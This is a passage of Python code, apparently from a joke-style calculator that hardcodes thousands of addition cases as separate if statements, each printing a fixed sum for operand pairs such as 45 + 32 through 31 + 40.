print("45 + 32 = 77") if firstNum == 46 and sign == "+" and secondNum == 32 : print("46 + 32 = 78") if firstNum == 47 and sign == "+" and secondNum == 32 : print("47 + 32 = 79") if firstNum == 48 and sign == "+" and secondNum == 32 : print("48 + 32 = 80") if firstNum == 49 and sign == "+" and secondNum == 32 : print("49 + 32 = 81") if firstNum == 50 and sign == "+" and secondNum == 32 : print("50 + 32 = 82") if firstNum == 0 and sign == "+" and secondNum == 33 : print("0 + 33 = 33") if firstNum == 1 and sign == "+" and secondNum == 33 : print("1 + 33 = 34") if firstNum == 2 and sign == "+" and secondNum == 33 : print("2 + 33 = 35") if firstNum == 3 and sign == "+" and secondNum == 33 : print("3 + 33 = 36") if firstNum == 4 and sign == "+" and secondNum == 33 : print("4 + 33 = 37") if firstNum == 5 and sign == "+" and secondNum == 33 : print("5 + 33 = 38") if firstNum == 6 and sign == "+" and secondNum == 33 : print("6 + 33 = 39") if firstNum == 7 and sign == "+" and secondNum == 33 : print("7 + 33 = 40") if firstNum == 8 and sign == "+" and secondNum == 33 : print("8 + 33 = 41") if firstNum == 9 and sign == "+" and secondNum == 33 : print("9 + 33 = 42") if firstNum == 10 and sign == "+" and secondNum == 33 : print("10 + 33 = 43") if firstNum == 11 and sign == "+" and secondNum == 33 : print("11 + 33 = 44") if firstNum == 12 and sign == "+" and secondNum == 33 : print("12 + 33 = 45") if firstNum == 13 and sign == "+" and secondNum == 33 : print("13 + 33 = 46") if firstNum == 14 and sign == "+" and secondNum == 33 : print("14 + 33 = 47") if firstNum == 15 and sign == "+" and secondNum == 33 : print("15 + 33 = 48") if firstNum == 16 and sign == "+" and secondNum == 33 : print("16 + 33 = 49") if firstNum == 17 and sign == "+" and secondNum == 33 : print("17 + 33 = 50") if firstNum == 18 and sign == "+" and secondNum == 33 : print("18 + 33 = 51") if firstNum == 19 and sign == "+" and secondNum == 33 : print("19 + 33 = 52") if firstNum == 20 and sign == "+" and secondNum == 33 : print("20 + 33 = 53") if firstNum == 21 and sign == "+" and secondNum == 33 : print("21 + 33 = 54") if firstNum == 22 and sign == "+" and secondNum == 33 : print("22 + 33 = 55") if firstNum == 23 and sign == "+" and secondNum == 33 : print("23 + 33 = 56") if firstNum == 24 and sign == "+" and secondNum == 33 : print("24 + 33 = 57") if firstNum == 25 and sign == "+" and secondNum == 33 : print("25 + 33 = 58") if firstNum == 26 and sign == "+" and secondNum == 33 : print("26 + 33 = 59") if firstNum == 27 and sign == "+" and secondNum == 33 : print("27 + 33 = 60") if firstNum == 28 and sign == "+" and secondNum == 33 : print("28 + 33 = 61") if firstNum == 29 and sign == "+" and secondNum == 33 : print("29 + 33 = 62") if firstNum == 30 and sign == "+" and secondNum == 33 : print("30 + 33 = 63") if firstNum == 31 and sign == "+" and secondNum == 33 : print("31 + 33 = 64") if firstNum == 32 and sign == "+" and secondNum == 33 : print("32 + 33 = 65") if firstNum == 33 and sign == "+" and secondNum == 33 : print("33 + 33 = 66") if firstNum == 34 and sign == "+" and secondNum == 33 : print("34 + 33 = 67") if firstNum == 35 and sign == "+" and secondNum == 33 : print("35 + 33 = 68") if firstNum == 36 and sign == "+" and secondNum == 33 : print("36 + 33 = 69") if firstNum == 37 and sign == "+" and secondNum == 33 : print("37 + 33 = 70") if firstNum == 38 and sign == "+" and secondNum == 33 : print("38 + 33 = 71") if firstNum == 39 and sign == "+" and secondNum == 33 : print("39 + 33 = 72") if firstNum == 40 and sign == "+" and secondNum == 33 : print("40 + 33 = 73") if firstNum == 41 and sign == "+" and secondNum == 33 : print("41 + 33 = 74") if firstNum == 42 and sign == "+" and secondNum == 33 : print("42 + 33 = 75") if firstNum == 43 and sign == "+" and secondNum == 33 : print("43 + 33 = 76") if firstNum == 44 and sign == "+" and secondNum == 33 : print("44 + 33 = 77") if firstNum == 45 and sign == "+" and secondNum == 33 : print("45 + 33 = 78") if firstNum == 46 and sign == "+" and secondNum == 33 : print("46 + 33 = 79") if firstNum == 47 and sign == "+" and secondNum == 33 : print("47 + 33 = 80") if firstNum == 48 and sign == "+" and secondNum == 33 : print("48 + 33 = 81") if firstNum == 49 and sign == "+" and secondNum == 33 : print("49 + 33 = 82") if firstNum == 50 and sign == "+" and secondNum == 33 : print("50 + 33 = 83") if firstNum == 0 and sign == "+" and secondNum == 34 : print("0 + 34 = 34") if firstNum == 1 and sign == "+" and secondNum == 34 : print("1 + 34 = 35") if firstNum == 2 and sign == "+" and secondNum == 34 : print("2 + 34 = 36") if firstNum == 3 and sign == "+" and secondNum == 34 : print("3 + 34 = 37") if firstNum == 4 and sign == "+" and secondNum == 34 : print("4 + 34 = 38") if firstNum == 5 and sign == "+" and secondNum == 34 : print("5 + 34 = 39") if firstNum == 6 and sign == "+" and secondNum == 34 : print("6 + 34 = 40") if firstNum == 7 and sign == "+" and secondNum == 34 : print("7 + 34 = 41") if firstNum == 8 and sign == "+" and secondNum == 34 : print("8 + 34 = 42") if firstNum == 9 and sign == "+" and secondNum == 34 : print("9 + 34 = 43") if firstNum == 10 and sign == "+" and secondNum == 34 : print("10 + 34 = 44") if firstNum == 11 and sign == "+" and secondNum == 34 : print("11 + 34 = 45") if firstNum == 12 and sign == "+" and secondNum == 34 : print("12 + 34 = 46") if firstNum == 13 and sign == "+" and secondNum == 34 : print("13 + 34 = 47") if firstNum == 14 and sign == "+" and secondNum == 34 : print("14 + 34 = 48") if firstNum == 15 and sign == "+" and secondNum == 34 : print("15 + 34 = 49") if firstNum == 16 and sign == "+" and secondNum == 34 : print("16 + 34 = 50") if firstNum == 17 and sign == "+" and secondNum == 34 : print("17 + 34 = 51") if firstNum == 18 and sign == "+" and secondNum == 34 : print("18 + 34 = 52") if firstNum == 19 and sign == "+" and secondNum == 34 : print("19 + 34 = 53") if firstNum == 20 and sign == "+" and secondNum == 34 : print("20 + 34 = 54") if firstNum == 21 and sign == "+" and secondNum == 34 : print("21 + 34 = 55") if firstNum == 22 and sign == "+" and secondNum == 34 : print("22 + 34 = 56") if firstNum == 23 and sign == "+" and secondNum == 34 : print("23 + 34 = 57") if firstNum == 24 and sign == "+" and secondNum == 34 : print("24 + 34 = 58") if firstNum == 25 and sign == "+" and secondNum == 34 : print("25 + 34 = 59") if firstNum == 26 and sign == "+" and secondNum == 34 : print("26 + 34 = 60") if firstNum == 27 and sign == "+" and secondNum == 34 : print("27 + 34 = 61") if firstNum == 28 and sign == "+" and secondNum == 34 : print("28 + 34 = 62") if firstNum == 29 and sign == "+" and secondNum == 34 : print("29 + 34 = 63") if firstNum == 30 and sign == "+" and secondNum == 34 : print("30 + 34 = 64") if firstNum == 31 and sign == "+" and secondNum == 34 : print("31 + 34 = 65") if firstNum == 32 and sign == "+" and secondNum == 34 : print("32 + 34 = 66") if firstNum == 33 and sign == "+" and secondNum == 34 : print("33 + 34 = 67") if firstNum == 34 and sign == "+" and secondNum == 34 : print("34 + 34 = 68") if firstNum == 35 and sign == "+" and secondNum == 34 : print("35 + 34 = 69") if firstNum == 36 and sign == "+" and secondNum == 34 : print("36 + 34 = 70") if firstNum == 37 and sign == "+" and secondNum == 34 : print("37 + 34 = 71") if firstNum == 38 and sign == "+" and secondNum == 34 : print("38 + 34 = 72") if firstNum == 39 and sign == "+" and secondNum == 34 : print("39 + 34 = 73") if firstNum == 40 and sign == "+" and secondNum == 34 : print("40 + 34 = 74") if firstNum == 41 and sign == "+" and secondNum == 34 : print("41 + 34 = 75") if firstNum == 42 and sign == "+" and secondNum == 34 : print("42 + 34 = 76") if firstNum == 43 and sign == "+" and secondNum == 34 : print("43 + 34 = 77") if firstNum == 44 and sign == "+" and secondNum == 34 : print("44 + 34 = 78") if firstNum == 45 and sign == "+" and secondNum == 34 : print("45 + 34 = 79") if firstNum == 46 and sign == "+" and secondNum == 34 : print("46 + 34 = 80") if firstNum == 47 and sign == "+" and secondNum == 34 : print("47 + 34 = 81") if firstNum == 48 and sign == "+" and secondNum == 34 : print("48 + 34 = 82") if firstNum == 49 and sign == "+" and secondNum == 34 : print("49 + 34 = 83") if firstNum == 50 and sign == "+" and secondNum == 34 : print("50 + 34 = 84") if firstNum == 0 and sign == "+" and secondNum == 35 : print("0 + 35 = 35") if firstNum == 1 and sign == "+" and secondNum == 35 : print("1 + 35 = 36") if firstNum == 2 and sign == "+" and secondNum == 35 : print("2 + 35 = 37") if firstNum == 3 and sign == "+" and secondNum == 35 : print("3 + 35 = 38") if firstNum == 4 and sign == "+" and secondNum == 35 : print("4 + 35 = 39") if firstNum == 5 and sign == "+" and secondNum == 35 : print("5 + 35 = 40") if firstNum == 6 and sign == "+" and secondNum == 35 : print("6 + 35 = 41") if firstNum == 7 and sign == "+" and secondNum == 35 : print("7 + 35 = 42") if firstNum == 8 and sign == "+" and secondNum == 35 : print("8 + 35 = 43") if firstNum == 9 and sign == "+" and secondNum == 35 : print("9 + 35 = 44") if firstNum == 10 and sign == "+" and secondNum == 35 : print("10 + 35 = 45") if firstNum == 11 and sign == "+" and secondNum == 35 : print("11 + 35 = 46") if firstNum == 12 and sign == "+" and secondNum == 35 : print("12 + 35 = 47") if firstNum == 13 and sign == "+" and secondNum == 35 : print("13 + 35 = 48") if firstNum == 14 and sign == "+" and secondNum == 35 : print("14 + 35 = 49") if firstNum == 15 and sign == "+" and secondNum == 35 : print("15 + 35 = 50") if firstNum == 16 and sign == "+" and secondNum == 35 : print("16 + 35 = 51") if firstNum == 17 and sign == "+" and secondNum == 35 : print("17 + 35 = 52") if firstNum == 18 and sign == "+" and secondNum == 35 : print("18 + 35 = 53") if firstNum == 19 and sign == "+" and secondNum == 35 : print("19 + 35 = 54") if firstNum == 20 and sign == "+" and secondNum == 35 : print("20 + 35 = 55") if firstNum == 21 and sign == "+" and secondNum == 35 : print("21 + 35 = 56") if firstNum == 22 and sign == "+" and secondNum == 35 : print("22 + 35 = 57") if firstNum == 23 and sign == "+" and secondNum == 35 : print("23 + 35 = 58") if firstNum == 24 and sign == "+" and secondNum == 35 : print("24 + 35 = 59") if firstNum == 25 and sign == "+" and secondNum == 35 : print("25 + 35 = 60") if firstNum == 26 and sign == "+" and secondNum == 35 : print("26 + 35 = 61") if firstNum == 27 and sign == "+" and secondNum == 35 : print("27 + 35 = 62") if firstNum == 28 and sign == "+" and secondNum == 35 : print("28 + 35 = 63") if firstNum == 29 and sign == "+" and secondNum == 35 : print("29 + 35 = 64") if firstNum == 30 and sign == "+" and secondNum == 35 : print("30 + 35 = 65") if firstNum == 31 and sign == "+" and secondNum == 35 : print("31 + 35 = 66") if firstNum == 32 and sign == "+" and secondNum == 35 : print("32 + 35 = 67") if firstNum == 33 and sign == "+" and secondNum == 35 : print("33 + 35 = 68") if firstNum == 34 and sign == "+" and secondNum == 35 : print("34 + 35 = 69") if firstNum == 35 and sign == "+" and secondNum == 35 : print("35 + 35 = 70") if firstNum == 36 and sign == "+" and secondNum == 35 : print("36 + 35 = 71") if firstNum == 37 and sign == "+" and secondNum == 35 : print("37 + 35 = 72") if firstNum == 38 and sign == "+" and secondNum == 35 : print("38 + 35 = 73") if firstNum == 39 and sign == "+" and secondNum == 35 : print("39 + 35 = 74") if firstNum == 40 and sign == "+" and secondNum == 35 : print("40 + 35 = 75") if firstNum == 41 and sign == "+" and secondNum == 35 : print("41 + 35 = 76") if firstNum == 42 and sign == "+" and secondNum == 35 : print("42 + 35 = 77") if firstNum == 43 and sign == "+" and secondNum == 35 : print("43 + 35 = 78") if firstNum == 44 and sign == "+" and secondNum == 35 : print("44 + 35 = 79") if firstNum == 45 and sign == "+" and secondNum == 35 : print("45 + 35 = 80") if firstNum == 46 and sign == "+" and secondNum == 35 : print("46 + 35 = 81") if firstNum == 47 and sign == "+" and secondNum == 35 : print("47 + 35 = 82") if firstNum == 48 and sign == "+" and secondNum == 35 : print("48 + 35 = 83") if firstNum == 49 and sign == "+" and secondNum == 35 : print("49 + 35 = 84") if firstNum == 50 and sign == "+" and secondNum == 35 : print("50 + 35 = 85") if firstNum == 0 and sign == "+" and secondNum == 36 : print("0 + 36 = 36") if firstNum == 1 and sign == "+" and secondNum == 36 : print("1 + 36 = 37") if firstNum == 2 and sign == "+" and secondNum == 36 : print("2 + 36 = 38") if firstNum == 3 and sign == "+" and secondNum == 36 : print("3 + 36 = 39") if firstNum == 4 and sign == "+" and secondNum == 36 : print("4 + 36 = 40") if firstNum == 5 and sign == "+" and secondNum == 36 : print("5 + 36 = 41") if firstNum == 6 and sign == "+" and secondNum == 36 : print("6 + 36 = 42") if firstNum == 7 and sign == "+" and secondNum == 36 : print("7 + 36 = 43") if firstNum == 8 and sign == "+" and secondNum == 36 : print("8 + 36 = 44") if firstNum == 9 and sign == "+" and secondNum == 36 : print("9 + 36 = 45") if firstNum == 10 and sign == "+" and secondNum == 36 : print("10 + 36 = 46") if firstNum == 11 and sign == "+" and secondNum == 36 : print("11 + 36 = 47") if firstNum == 12 and sign == "+" and secondNum == 36 : print("12 + 36 = 48") if firstNum == 13 and sign == "+" and secondNum == 36 : print("13 + 36 = 49") if firstNum == 14 and sign == "+" and secondNum == 36 : print("14 + 36 = 50") if firstNum == 15 and sign == "+" and secondNum == 36 : print("15 + 36 = 51") if firstNum == 16 and sign == "+" and secondNum == 36 : print("16 + 36 = 52") if firstNum == 17 and sign == "+" and secondNum == 36 : print("17 + 36 = 53") if firstNum == 18 and sign == "+" and secondNum == 36 : print("18 + 36 = 54") if firstNum == 19 and sign == "+" and secondNum == 36 : print("19 + 36 = 55") if firstNum == 20 and sign == "+" and secondNum == 36 : print("20 + 36 = 56") if firstNum == 21 and sign == "+" and secondNum == 36 : print("21 + 36 = 57") if firstNum == 22 and sign == "+" and secondNum == 36 : print("22 + 36 = 58") if firstNum == 23 and sign == "+" and secondNum == 36 : print("23 + 36 = 59") if firstNum == 24 and sign == "+" and secondNum == 36 : print("24 + 36 = 60") if firstNum == 25 and sign == "+" and secondNum == 36 : print("25 + 36 = 61") if firstNum == 26 and sign == "+" and secondNum == 36 : print("26 + 36 = 62") if firstNum == 27 and sign == "+" and secondNum == 36 : print("27 + 36 = 63") if firstNum == 28 and sign == "+" and secondNum == 36 : print("28 + 36 = 64") if firstNum == 29 and sign == "+" and secondNum == 36 : print("29 + 36 = 65") if firstNum == 30 and sign == "+" and secondNum == 36 : print("30 + 36 = 66") if firstNum == 31 and sign == "+" and secondNum == 36 : print("31 + 36 = 67") if firstNum == 32 and sign == "+" and secondNum == 36 : print("32 + 36 = 68") if firstNum == 33 and sign == "+" and secondNum == 36 : print("33 + 36 = 69") if firstNum == 34 and sign == "+" and secondNum == 36 : print("34 + 36 = 70") if firstNum == 35 and sign == "+" and secondNum == 36 : print("35 + 36 = 71") if firstNum == 36 and sign == "+" and secondNum == 36 : print("36 + 36 = 72") if firstNum == 37 and sign == "+" and secondNum == 36 : print("37 + 36 = 73") if firstNum == 38 and sign == "+" and secondNum == 36 : print("38 + 36 = 74") if firstNum == 39 and sign == "+" and secondNum == 36 : print("39 + 36 = 75") if firstNum == 40 and sign == "+" and secondNum == 36 : print("40 + 36 = 76") if firstNum == 41 and sign == "+" and secondNum == 36 : print("41 + 36 = 77") if firstNum == 42 and sign == "+" and secondNum == 36 : print("42 + 36 = 78") if firstNum == 43 and sign == "+" and secondNum == 36 : print("43 + 36 = 79") if firstNum == 44 and sign == "+" and secondNum == 36 : print("44 + 36 = 80") if firstNum == 45 and sign == "+" and secondNum == 36 : print("45 + 36 = 81") if firstNum == 46 and sign == "+" and secondNum == 36 : print("46 + 36 = 82") if firstNum == 47 and sign == "+" and secondNum == 36 : print("47 + 36 = 83") if firstNum == 48 and sign == "+" and secondNum == 36 : print("48 + 36 = 84") if firstNum == 49 and sign == "+" and secondNum == 36 : print("49 + 36 = 85") if firstNum == 50 and sign == "+" and secondNum == 36 : print("50 + 36 = 86") if firstNum == 0 and sign == "+" and secondNum == 37 : print("0 + 37 = 37") if firstNum == 1 and sign == "+" and secondNum == 37 : print("1 + 37 = 38") if firstNum == 2 and sign == "+" and secondNum == 37 : print("2 + 37 = 39") if firstNum == 3 and sign == "+" and secondNum == 37 : print("3 + 37 = 40") if firstNum == 4 and sign == "+" and secondNum == 37 : print("4 + 37 = 41") if firstNum == 5 and sign == "+" and secondNum == 37 : print("5 + 37 = 42") if firstNum == 6 and sign == "+" and secondNum == 37 : print("6 + 37 = 43") if firstNum == 7 and sign == "+" and secondNum == 37 : print("7 + 37 = 44") if firstNum == 8 and sign == "+" and secondNum == 37 : print("8 + 37 = 45") if firstNum == 9 and sign == "+" and secondNum == 37 : print("9 + 37 = 46") if firstNum == 10 and sign == "+" and secondNum == 37 : print("10 + 37 = 47") if firstNum == 11 and sign == "+" and secondNum == 37 : print("11 + 37 = 48") if firstNum == 12 and sign == "+" and secondNum == 37 : print("12 + 37 = 49") if firstNum == 13 and sign == "+" and secondNum == 37 : print("13 + 37 = 50") if firstNum == 14 and sign == "+" and secondNum == 37 : print("14 + 37 = 51") if firstNum == 15 and sign == "+" and secondNum == 37 : print("15 + 37 = 52") if firstNum == 16 and sign == "+" and secondNum == 37 : print("16 + 37 = 53") if firstNum == 17 and sign == "+" and secondNum == 37 : print("17 + 37 = 54") if firstNum == 18 and sign == "+" and secondNum == 37 : print("18 + 37 = 55") if firstNum == 19 and sign == "+" and secondNum == 37 : print("19 + 37 = 56") if firstNum == 20 and sign == "+" and secondNum == 37 : print("20 + 37 = 57") if firstNum == 21 and sign == "+" and secondNum == 37 : print("21 + 37 = 58") if firstNum == 22 and sign == "+" and secondNum == 37 : print("22 + 37 = 59") if firstNum == 23 and sign == "+" and secondNum == 37 : print("23 + 37 = 60") if firstNum == 24 and sign == "+" and secondNum == 37 : print("24 + 37 = 61") if firstNum == 25 and sign == "+" and secondNum == 37 : print("25 + 37 = 62") if firstNum == 26 and sign == "+" and secondNum == 37 : print("26 + 37 = 63") if firstNum == 27 and sign == "+" and secondNum == 37 : print("27 + 37 = 64") if firstNum == 28 and sign == "+" and secondNum == 37 : print("28 + 37 = 65") if firstNum == 29 and sign == "+" and secondNum == 37 : print("29 + 37 = 66") if firstNum == 30 and sign == "+" and secondNum == 37 : print("30 + 37 = 67") if firstNum == 31 and sign == "+" and secondNum == 37 : print("31 + 37 = 68") if firstNum == 32 and sign == "+" and secondNum == 37 : print("32 + 37 = 69") if firstNum == 33 and sign == "+" and secondNum == 37 : print("33 + 37 = 70") if firstNum == 34 and sign == "+" and secondNum == 37 : print("34 + 37 = 71") if firstNum == 35 and sign == "+" and secondNum == 37 : print("35 + 37 = 72") if firstNum == 36 and sign == "+" and secondNum == 37 : print("36 + 37 = 73") if firstNum == 37 and sign == "+" and secondNum == 37 : print("37 + 37 = 74") if firstNum == 38 and sign == "+" and secondNum == 37 : print("38 + 37 = 75") if firstNum == 39 and sign == "+" and secondNum == 37 : print("39 + 37 = 76") if firstNum == 40 and sign == "+" and secondNum == 37 : print("40 + 37 = 77") if firstNum == 41 and sign == "+" and secondNum == 37 : print("41 + 37 = 78") if firstNum == 42 and sign == "+" and secondNum == 37 : print("42 + 37 = 79") if firstNum == 43 and sign == "+" and secondNum == 37 : print("43 + 37 = 80") if firstNum == 44 and sign == "+" and secondNum == 37 : print("44 + 37 = 81") if firstNum == 45 and sign == "+" and secondNum == 37 : print("45 + 37 = 82") if firstNum == 46 and sign == "+" and secondNum == 37 : print("46 + 37 = 83") if firstNum == 47 and sign == "+" and secondNum == 37 : print("47 + 37 = 84") if firstNum == 48 and sign == "+" and secondNum == 37 : print("48 + 37 = 85") if firstNum == 49 and sign == "+" and secondNum == 37 : print("49 + 37 = 86") if firstNum == 50 and sign == "+" and secondNum == 37 : print("50 + 37 = 87") if firstNum == 0 and sign == "+" and secondNum == 38 : print("0 + 38 = 38") if firstNum == 1 and sign == "+" and secondNum == 38 : print("1 + 38 = 39") if firstNum == 2 and sign == "+" and secondNum == 38 : print("2 + 38 = 40") if firstNum == 3 and sign == "+" and secondNum == 38 : print("3 + 38 = 41") if firstNum == 4 and sign == "+" and secondNum == 38 : print("4 + 38 = 42") if firstNum == 5 and sign == "+" and secondNum == 38 : print("5 + 38 = 43") if firstNum == 6 and sign == "+" and secondNum == 38 : print("6 + 38 = 44") if firstNum == 7 and sign == "+" and secondNum == 38 : print("7 + 38 = 45") if firstNum == 8 and sign == "+" and secondNum == 38 : print("8 + 38 = 46") if firstNum == 9 and sign == "+" and secondNum == 38 : print("9 + 38 = 47") if firstNum == 10 and sign == "+" and secondNum == 38 : print("10 + 38 = 48") if firstNum == 11 and sign == "+" and secondNum == 38 : print("11 + 38 = 49") if firstNum == 12 and sign == "+" and secondNum == 38 : print("12 + 38 = 50") if firstNum == 13 and sign == "+" and secondNum == 38 : print("13 + 38 = 51") if firstNum == 14 and sign == "+" and secondNum == 38 : print("14 + 38 = 52") if firstNum == 15 and sign == "+" and secondNum == 38 : print("15 + 38 = 53") if firstNum == 16 and sign == "+" and secondNum == 38 : print("16 + 38 = 54") if firstNum == 17 and sign == "+" and secondNum == 38 : print("17 + 38 = 55") if firstNum == 18 and sign == "+" and secondNum == 38 : print("18 + 38 = 56") if firstNum == 19 and sign == "+" and secondNum == 38 : print("19 + 38 = 57") if firstNum == 20 and sign == "+" and secondNum == 38 : print("20 + 38 = 58") if firstNum == 21 and sign == "+" and secondNum == 38 : print("21 + 38 = 59") if firstNum == 22 and sign == "+" and secondNum == 38 : print("22 + 38 = 60") if firstNum == 23 and sign == "+" and secondNum == 38 : print("23 + 38 = 61") if firstNum == 24 and sign == "+" and secondNum == 38 : print("24 + 38 = 62") if firstNum == 25 and sign == "+" and secondNum == 38 : print("25 + 38 = 63") if firstNum == 26 and sign == "+" and secondNum == 38 : print("26 + 38 = 64") if firstNum == 27 and sign == "+" and secondNum == 38 : print("27 + 38 = 65") if firstNum == 28 and sign == "+" and secondNum == 38 : print("28 + 38 = 66") if firstNum == 29 and sign == "+" and secondNum == 38 : print("29 + 38 = 67") if firstNum == 30 and sign == "+" and secondNum == 38 : print("30 + 38 = 68") if firstNum == 31 and sign == "+" and secondNum == 38 : print("31 + 38 = 69") if firstNum == 32 and sign == "+" and secondNum == 38 : print("32 + 38 = 70") if firstNum == 33 and sign == "+" and secondNum == 38 : print("33 + 38 = 71") if firstNum == 34 and sign == "+" and secondNum == 38 : print("34 + 38 = 72") if firstNum == 35 and sign == "+" and secondNum == 38 : print("35 + 38 = 73") if firstNum == 36 and sign == "+" and secondNum == 38 : print("36 + 38 = 74") if firstNum == 37 and sign == "+" and secondNum == 38 : print("37 + 38 = 75") if firstNum == 38 and sign == "+" and secondNum == 38 : print("38 + 38 = 76") if firstNum == 39 and sign == "+" and secondNum == 38 : print("39 + 38 = 77") if firstNum == 40 and sign == "+" and secondNum == 38 : print("40 + 38 = 78") if firstNum == 41 and sign == "+" and secondNum == 38 : print("41 + 38 = 79") if firstNum == 42 and sign == "+" and secondNum == 38 : print("42 + 38 = 80") if firstNum == 43 and sign == "+" and secondNum == 38 : print("43 + 38 = 81") if firstNum == 44 and sign == "+" and secondNum == 38 : print("44 + 38 = 82") if firstNum == 45 and sign == "+" and secondNum == 38 : print("45 + 38 = 83") if firstNum == 46 and sign == "+" and secondNum == 38 : print("46 + 38 = 84") if firstNum == 47 and sign == "+" and secondNum == 38 : print("47 + 38 = 85") if firstNum == 48 and sign == "+" and secondNum == 38 : print("48 + 38 = 86") if firstNum == 49 and sign == "+" and secondNum == 38 : print("49 + 38 = 87") if firstNum == 50 and sign == "+" and secondNum == 38 : print("50 + 38 = 88") if firstNum == 0 and sign == "+" and secondNum == 39 : print("0 + 39 = 39") if firstNum == 1 and sign == "+" and secondNum == 39 : print("1 + 39 = 40") if firstNum == 2 and sign == "+" and secondNum == 39 : print("2 + 39 = 41") if firstNum == 3 and sign == "+" and secondNum == 39 : print("3 + 39 = 42") if firstNum == 4 and sign == "+" and secondNum == 39 : print("4 + 39 = 43") if firstNum == 5 and sign == "+" and secondNum == 39 : print("5 + 39 = 44") if firstNum == 6 and sign == "+" and secondNum == 39 : print("6 + 39 = 45") if firstNum == 7 and sign == "+" and secondNum == 39 : print("7 + 39 = 46") if firstNum == 8 and sign == "+" and secondNum == 39 : print("8 + 39 = 47") if firstNum == 9 and sign == "+" and secondNum == 39 : print("9 + 39 = 48") if firstNum == 10 and sign == "+" and secondNum == 39 : print("10 + 39 = 49") if firstNum == 11 and sign == "+" and secondNum == 39 : print("11 + 39 = 50") if firstNum == 12 and sign == "+" and secondNum == 39 : print("12 + 39 = 51") if firstNum == 13 and sign == "+" and secondNum == 39 : print("13 + 39 = 52") if firstNum == 14 and sign == "+" and secondNum == 39 : print("14 + 39 = 53") if firstNum == 15 and sign == "+" and secondNum == 39 : print("15 + 39 = 54") if firstNum == 16 and sign == "+" and secondNum == 39 : print("16 + 39 = 55") if firstNum == 17 and sign == "+" and secondNum == 39 : print("17 + 39 = 56") if firstNum == 18 and sign == "+" and secondNum == 39 : print("18 + 39 = 57") if firstNum == 19 and sign == "+" and secondNum == 39 : print("19 + 39 = 58") if firstNum == 20 and sign == "+" and secondNum == 39 : print("20 + 39 = 59") if firstNum == 21 and sign == "+" and secondNum == 39 : print("21 + 39 = 60") if firstNum == 22 and sign == "+" and secondNum == 39 : print("22 + 39 = 61") if firstNum == 23 and sign == "+" and secondNum == 39 : print("23 + 39 = 62") if firstNum == 24 and sign == "+" and secondNum == 39 : print("24 + 39 = 63") if firstNum == 25 and sign == "+" and secondNum == 39 : print("25 + 39 = 64") if firstNum == 26 and sign == "+" and secondNum == 39 : print("26 + 39 = 65") if firstNum == 27 and sign == "+" and secondNum == 39 : print("27 + 39 = 66") if firstNum == 28 and sign == "+" and secondNum == 39 : print("28 + 39 = 67") if firstNum == 29 and sign == "+" and secondNum == 39 : print("29 + 39 = 68") if firstNum == 30 and sign == "+" and secondNum == 39 : print("30 + 39 = 69") if firstNum == 31 and sign == "+" and secondNum == 39 : print("31 + 39 = 70") if firstNum == 32 and sign == "+" and secondNum == 39 : print("32 + 39 = 71") if firstNum == 33 and sign == "+" and secondNum == 39 : print("33 + 39 = 72") if firstNum == 34 and sign == "+" and secondNum == 39 : print("34 + 39 = 73") if firstNum == 35 and sign == "+" and secondNum == 39 : print("35 + 39 = 74") if firstNum == 36 and sign == "+" and secondNum == 39 : print("36 + 39 = 75") if firstNum == 37 and sign == "+" and secondNum == 39 : print("37 + 39 = 76") if firstNum == 38 and sign == "+" and secondNum == 39 : print("38 + 39 = 77") if firstNum == 39 and sign == "+" and secondNum == 39 : print("39 + 39 = 78") if firstNum == 40 and sign == "+" and secondNum == 39 : print("40 + 39 = 79") if firstNum == 41 and sign == "+" and secondNum == 39 : print("41 + 39 = 80") if firstNum == 42 and sign == "+" and secondNum == 39 : print("42 + 39 = 81") if firstNum == 43 and sign == "+" and secondNum == 39 : print("43 + 39 = 82") if firstNum == 44 and sign == "+" and secondNum == 39 : print("44 + 39 = 83") if firstNum == 45 and sign == "+" and secondNum == 39 : print("45 + 39 = 84") if firstNum == 46 and sign == "+" and secondNum == 39 : print("46 + 39 = 85") if firstNum == 47 and sign == "+" and secondNum == 39 : print("47 + 39 = 86") if firstNum == 48 and sign == "+" and secondNum == 39 : print("48 + 39 = 87") if firstNum == 49 and sign == "+" and secondNum == 39 : print("49 + 39 = 88") if firstNum == 50 and sign == "+" and secondNum == 39 : print("50 + 39 = 89") if firstNum == 0 and sign == "+" and secondNum == 40 : print("0 + 40 = 40") if firstNum == 1 and sign == "+" and secondNum == 40 : print("1 + 40 = 41") if firstNum == 2 and sign == "+" and secondNum == 40 : print("2 + 40 = 42") if firstNum == 3 and sign == "+" and secondNum == 40 : print("3 + 40 = 43") if firstNum == 4 and sign == "+" and secondNum == 40 : print("4 + 40 = 44") if firstNum == 5 and sign == "+" and secondNum == 40 : print("5 + 40 = 45") if firstNum == 6 and sign == "+" and secondNum == 40 : print("6 + 40 = 46") if firstNum == 7 and sign == "+" and secondNum == 40 : print("7 + 40 = 47") if firstNum == 8 and sign == "+" and secondNum == 40 : print("8 + 40 = 48") if firstNum == 9 and sign == "+" and secondNum == 40 : print("9 + 40 = 49") if firstNum == 10 and sign == "+" and secondNum == 40 : print("10 + 40 = 50") if firstNum == 11 and sign == "+" and secondNum == 40 : print("11 + 40 = 51") if firstNum == 12 and sign == "+" and secondNum == 40 : print("12 + 40 = 52") if firstNum == 13 and sign == "+" and secondNum == 40 : print("13 + 40 = 53") if firstNum == 14 and sign == "+" and secondNum == 40 : print("14 + 40 = 54") if firstNum == 15 and sign == "+" and secondNum == 40 : print("15 + 40 = 55") if firstNum == 16 and sign == "+" and secondNum == 40 : print("16 + 40 = 56") if firstNum == 17 and sign == "+" and secondNum == 40 : print("17 + 40 = 57") if firstNum == 18 and sign == "+" and secondNum == 40 : print("18 + 40 = 58") if firstNum == 19 and sign == "+" and secondNum == 40 : print("19 + 40 = 59") if firstNum == 20 and sign == "+" and secondNum == 40 : print("20 + 40 = 60") if firstNum == 21 and sign == "+" and secondNum == 40 : print("21 + 40 = 61") if firstNum == 22 and sign == "+" and secondNum == 40 : print("22 + 40 = 62") if firstNum == 23 and sign == "+" and secondNum == 40 : print("23 + 40 = 63") if firstNum == 24 and sign == "+" and secondNum == 40 : print("24 + 40 = 64") if firstNum == 25 and sign == "+" and secondNum == 40 : print("25 + 40 = 65") if firstNum == 26 and sign == "+" and secondNum == 40 : print("26 + 40 = 66") if firstNum == 27 and sign == "+" and secondNum == 40 : print("27 + 40 = 67") if firstNum == 28 and sign == "+" and secondNum == 40 : print("28 + 40 = 68") if firstNum == 29 and sign == "+" and secondNum == 40 : print("29 + 40 = 69") if firstNum == 30 and sign == "+" and secondNum == 40 : print("30 + 40 = 70") if firstNum == 31 and sign == "+" and secondNum == 40 : print("31 + 40 = 71") if firstNum == 32 and sign == 